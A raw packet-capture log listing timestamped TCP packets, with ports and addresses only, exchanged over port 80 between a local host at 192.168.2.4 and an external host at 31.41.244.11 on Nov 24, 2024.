Nov 24, 2024 12:24:15.345808983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.345875025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.346772909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.346901894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.346962929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.347532988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.347588062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.347665071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.348506927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.348579884 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.348643064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.349342108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.349406958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.349486113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.350276947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.350358963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.350409985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.350476027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.350524902 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.351200104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.351252079 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.351277113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.351340055 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.352088928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.352154016 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.352222919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.352271080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.352994919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.353133917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.353199005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.353954077 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.354038000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.354099035 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.354824066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.354949951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.355007887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.355787039 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.355921030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.355983019 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.356678009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.356811047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.356872082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.357606888 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.357666016 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.357722998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.358423948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.358541012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.358575106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.358593941 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.358619928 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.359420061 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.359481096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.359538078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.359586954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.360337973 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.360457897 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.360531092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.361258984 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.361313105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.361367941 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.362150908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.362298012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.362360954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.363082886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.363141060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.363195896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.363997936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.364124060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.364188910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.364212990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.364917994 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.365026951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.365103960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.365829945 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.365935087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.365987062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.366775990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.366911888 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.366970062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.367643118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.367702961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.367767096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.368572950 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.368653059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.368711948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.369510889 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.369580030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.369637012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.369697094 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.370410919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.370528936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.370588064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.371337891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.371465921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.371519089 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.372237921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.372288942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.372345924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.373156071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.373209000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.373404980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.374084949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.374142885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.374188900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.374238968 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.374998093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.375117064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.375174046 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.375921965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.376030922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.376107931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.376833916 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.376902103 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.376957893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.377825975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.377909899 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.377969027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.378422976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.378799915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.378974915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.379035950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.379652023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.379873037 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.379925966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.380537033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.380588055 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.380657911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.381407022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.381496906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.381534100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.382323980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.382376909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.382420063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.383244991 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.383306026 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.383388996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.383440018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.384171963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.384299994 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.384356976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.385063887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.385175943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.385226965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.385978937 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.386069059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.386090040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.386418104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.386917114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.386974096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.387074947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.387129068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.387825012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.387881994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.387922049 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.387972116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.388751030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.388806105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.388881922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.389420033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.389648914 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.389715910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.389770031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.389864922 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.390574932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.390650988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.390705109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.391490936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.391592026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.391652107 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.392395973 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.392477036 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.392530918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.392580986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.393230915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.393284082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.546619892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.546715021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.546783924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.547190905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.547295094 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.547349930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.548098087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.548145056 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.548224926 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.548857927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.548899889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.548965931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.549794912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.549838066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.549877882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.549923897 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.550713062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.550853968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.550905943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.551599026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.551794052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.551837921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.552556038 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.552665949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.552712917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.553435087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.553555012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.553599119 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.554346085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.554392099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.554476023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.555265903 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.555305958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.555367947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.556222916 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.556268930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.556281090 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.556324005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.557110071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.557224989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.557274103 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.558176041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.558352947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.558398962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.558933020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.558978081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.559164047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.559837103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.559880972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.559954882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.560770035 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.560822964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.560864925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.560909033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.561836958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.561930895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.561980963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.562613010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.562736988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.562777042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.563529015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.563575029 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.563627958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.564431906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.564440012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.564480066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.564501047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.564547062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.565336943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.565382004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.565434933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.565479040 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.566260099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.566306114 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.566354990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.566406965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.567173004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.567235947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.567276955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.567322969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.568078041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.568116903 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.568185091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.568228960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.568999052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.569037914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.569117069 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.569156885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.569925070 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.569969893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.570040941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.570085049 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.570831060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.570941925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.570991993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.571754932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.571866989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.571912050 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.572679996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.572725058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.572788000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.573617935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.573664904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.573677063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.574420929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.574493885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.574585915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.574631929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.575458050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.575530052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.575577974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.576349974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.576423883 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.576448917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.577299118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.577366114 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.577388048 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.578150988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.578195095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.578233004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.578274965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.579087019 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.579210997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.579256058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.580013990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.580111027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.580157995 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.580928087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.580972910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.581099033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.581832886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.581878901 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.581906080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.582420111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.582748890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.582859993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.582906961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.583667994 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.583777905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.583826065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.584569931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.584618092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.584680080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.585530043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.585581064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.585637093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.586415052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.586442947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.586538076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.586577892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.587353945 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.587569952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.587610006 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.588279009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.588319063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.588398933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.589345932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.589386940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.589437008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.590125084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.590166092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.590276957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.590414047 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.590998888 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.591109037 CET	80	49765	31.41.244.11	192.168.2.4
